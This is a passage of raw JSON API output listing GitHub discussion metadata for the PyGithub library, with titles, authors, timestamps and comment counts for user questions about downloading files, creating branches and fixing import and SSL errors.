files"}]}},"title":"Can I download a specifical file from my repo?","createdAt":"2022-11-27T09:33:58Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMi0yNVQwOTo0Nzo0MSswMTowMM4ATe2g","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMi0yNVQwOTo0Nzo0MSswMTowMM4ATe2g","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4ATe2g","url":"https://github.com/PyGithub/PyGithub/discussions/2368#discussioncomment-5107104","createdAt":"2023-02-25T08:47:41Z","author":{"login":"Vuizur","avatarUrl":"https://avatars.githubusercontent.com/u/29223849?v=4","url":"https://github.com/Vuizur"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4ARjip","url":"https://github.com/PyGithub/PyGithub/discussions/2367","number":2367,"author":{"login":"gitblanc","avatarUrl":"https://avatars.githubusercontent.com/u/87705461?u=d635201aa3d832be964cb3221995a755d3b9d2f5&v=4","url":"https://github.com/gitblanc"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"ImportError: cannot import name 'Github' from 'github' (/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/github/__init__.py)","createdAt":"2022-11-25T21:55:41Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMi0yNFQxMDo1OTo1OCswMTowMM4ATcuM","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMi0yNFQxMDo1OTo1OCswMTowMM4ATcuM","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4ATcuM","url":"https://github.com/PyGithub/PyGithub/discussions/2367#discussioncomment-5098380","createdAt":"2023-02-24T09:59:58Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AP-zL","url":"https://github.com/PyGithub/PyGithub/discussions/2264","number":2264,"author":{"login":"mmdbalkhi","avatarUrl":"https://avatars.githubusercontent.com/u/65954744?u=b6f7ffa28d44a52326a1bc61e509e77e44ea08a2&v=4","url":"https://github.com/mmdbalkhi"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"ssl.SSLEOFError: EOF occurred in violation of protocol (_ssl.c:2396)","createdAt":"2022-07-02T16:25:25Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMi0xMi0xNlQxNzo1NzoyMyswMTowMM4AQ4WH","endCursor":"Y3Vyc29yOnYyOpK5MjAyMi0xMi0xNlQxNzo1NzoyMyswMTowMM4AQ4WH","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AQ4WH","url":"https://github.com/PyGithub/PyGithub/discussions/2264#discussioncomment-4425095","createdAt":"2022-12-16T16:57:23Z","author":{"login":"Felixoid","avatarUrl":"https://avatars.githubusercontent.com/u/3025537?u=03433f534de221bbb8447964fb6f7871c665ab49&v=4","url":"https://github.com/Felixoid"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4ARbFw","url":"https://github.com/PyGithub/PyGithub/discussions/2357","number":2357,"author":{"login":"mariolasagna007","avatarUrl":"https://avatars.githubusercontent.com/u/101675846?v=4","url":"https://github.com/mariolasagna007"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"repo.get_codescan_alerts()","createdAt":"2022-11-14T22:45:54Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMi0xMS0yMlQwODo0Mjo0OCswMTowMM4AQB77","endCursor":"Y3Vyc29yOnYyOpK5MjAyMi0xMS0yMlQwODo0Mjo0OCswMTowMM4AQB77","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AQB77","url":"https://github.com/PyGithub/PyGithub/discussions/2357#discussioncomment-4202235","createdAt":"2022-11-22T07:42:48Z","author":{"login":"nirliberman-devocean","avatarUrl":"https://avatars.githubusercontent.com/u/114580980?v=4","url":"https://github.com/nirliberman-devocean"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AQ39o","url":"https://github.com/PyGithub/PyGithub/discussions/2318","number":2318,"author":{"login":"xii-yang","avatarUrl":"https://avatars.githubusercontent.com/u/104600753?v=4","url":"https://github.com/xii-yang"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How to search the Pull Request which first introduce a commit Sha","createdAt":"2022-09-26T18:58:19Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AQvCS","url":"https://github.com/PyGithub/PyGithub/discussions/2306","number":2306,"author":{"login":"xenosdio","avatarUrl":"https://avatars.githubusercontent.com/u/15348591?u=adbf0970bcd72541c3cf7536600af80731c0c45f&v=4","url":"https://github.com/xenosdio"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Verify if login_or_token is correct","createdAt":"2022-09-13T07:31:36Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AQsU4","url":"https://github.com/PyGithub/PyGithub/discussions/2304","number":2304,"author":{"login":"DelaporteRobin","avatarUrl":"https://avatars.githubusercontent.com/u/102995191?u=a93e78cb60b7cbb1d25b29a57eb154ecf469cd1d&v=4","url":"https://github.com/DelaporteRobin"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Upload files on github","createdAt":"2022-09-08T17:24:48Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AQkpa","url":"https://github.com/PyGithub/PyGithub/discussions/2298","number":2298,"author":{"login":"mosheco","avatarUrl":"https://avatars.githubusercontent.com/u/1520292?v=4","url":"https://github.com/mosheco"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Question: where is GithubIntegration documented .","createdAt":"2022-08-29T15:42:40Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AQbma","url":"https://github.com/PyGithub/PyGithub/discussions/2293","number":2293,"author":{"login":"ygoldsmith","avatarUrl":"https://avatars.githubusercontent.com/u/100769550?v=4","url":"https://github.com/ygoldsmith"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How to query check suite results","createdAt":"2022-08-16T01:21:52Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AQbDa","url":"https://github.com/PyGithub/PyGithub/discussions/2292","number":2292,"author":{"login":"nri-xiang-liu-01","avatarUrl":"https://avatars.githubusercontent.com/u/77437579?v=4","url":"https://github.com/nri-xiang-liu-01"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How can I create a new branch by use PyGithub?","createdAt":"2022-08-15T08:30:10Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMi0wOC0xNVQxMTowMzo0MyswMjowMM4AM9R5","endCursor":"Y3Vyc29yOnYyOpK5MjAyMi0wOC0xNVQxMTowMzo0MyswMjowMM4AM9R5","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AM9R5","url":"https://github.com/PyGithub/PyGithub/discussions/2292#discussioncomment-3396729","createdAt":"2022-08-15T09:03:43Z","author":{"login":"nri-xiang-liu-01","avatarUrl":"https://avatars.githubusercontent.com/u/77437579?v=4","url":"https://github.com/nri-xiang-liu-01"},"isAnswer":true,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AOdu4","url":"https://github.com/PyGithub/PyGithub/discussions/2153","number":2153,"author":{"login":"yoyomeng2","avatarUrl":"https://avatars.githubusercontent.com/u/23482580?u=2b1e459e0ebcf16d615f6e5762fd2888c7467d97&v=4","url":"https://github.com/yoyomeng2"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Is there support to set bypass PR requirements users?","createdAt":"2022-01-10T22:52:19Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMi0wMS0xMVQyMDoxMTo0NyswMTowMM4AHcD5","endCursor":"Y3Vyc29yOnYyOpK5MjAyMi0wMS0xMVQyMDoxMTo0NyswMTowMM4AHcD5","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AHcD5","url":"https://github.com/PyGithub/PyGithub/discussions/2153#discussioncomment-1949945","createdAt":"2022-01-11T19:11:47Z","author":{"login":"yoyomeng2","avatarUrl":"https://avatars.githubusercontent.com/u/23482580?u=2b1e459e0ebcf16d615f6e5762fd2888c7467d97&v=4","url":"https://github.com/yoyomeng2"},"isAnswer":true,"replies":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOADLnDQ==","endCursor":"Y3Vyc29yOnYyOpHOADLnDQ==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AMucN","url":"https://github.com/PyGithub/PyGithub/discussions/2153#discussioncomment-3335949","createdAt":"2022-08-05T18:14:36Z","author":{"login":"yoyomeng2","avatarUrl":"https://avatars.githubusercontent.com/u/23482580?u=2b1e459e0ebcf16d615f6e5762fd2888c7467d97&v=4","url":"https://github.com/yoyomeng2"}}]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AQJZe","url":"https://github.com/PyGithub/PyGithub/discussions/2277","number":2277,"author":{"login":"kenorb","avatarUrl":"https://avatars.githubusercontent.com/u/266306?v=4","url":"https://github.com/kenorb"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Download an artifact's file from GitHub Actions (Workflows)","createdAt":"2022-07-20T17:34:11Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMi0wNy0yMFQxOTozNjozNCswMjowMM4AMLMC","endCursor":"Y3Vyc29yOnYyOpK5MjAyMi0wNy0yMFQxOTozNjozNCswMjowMM4AMLMC","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AMLMC","url":"https://github.com/PyGithub/PyGithub/discussions/2277#discussioncomment-3191554","createdAt":"2022-07-20T17:36:34Z","author":{"login":"kenorb","avatarUrl":"https://avatars.githubusercontent.com/u/266306?v=4","url":"https://github.com/kenorb"},"isAnswer":true,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4ANphT","url":"https://github.com/PyGithub/PyGithub/discussions/2057","number":2057,"author":{"login":"LuisSFGH","avatarUrl":"https://avatars.githubusercontent.com/u/50593254?u=593fae5e07e5f1ef28a8e1083d3f7d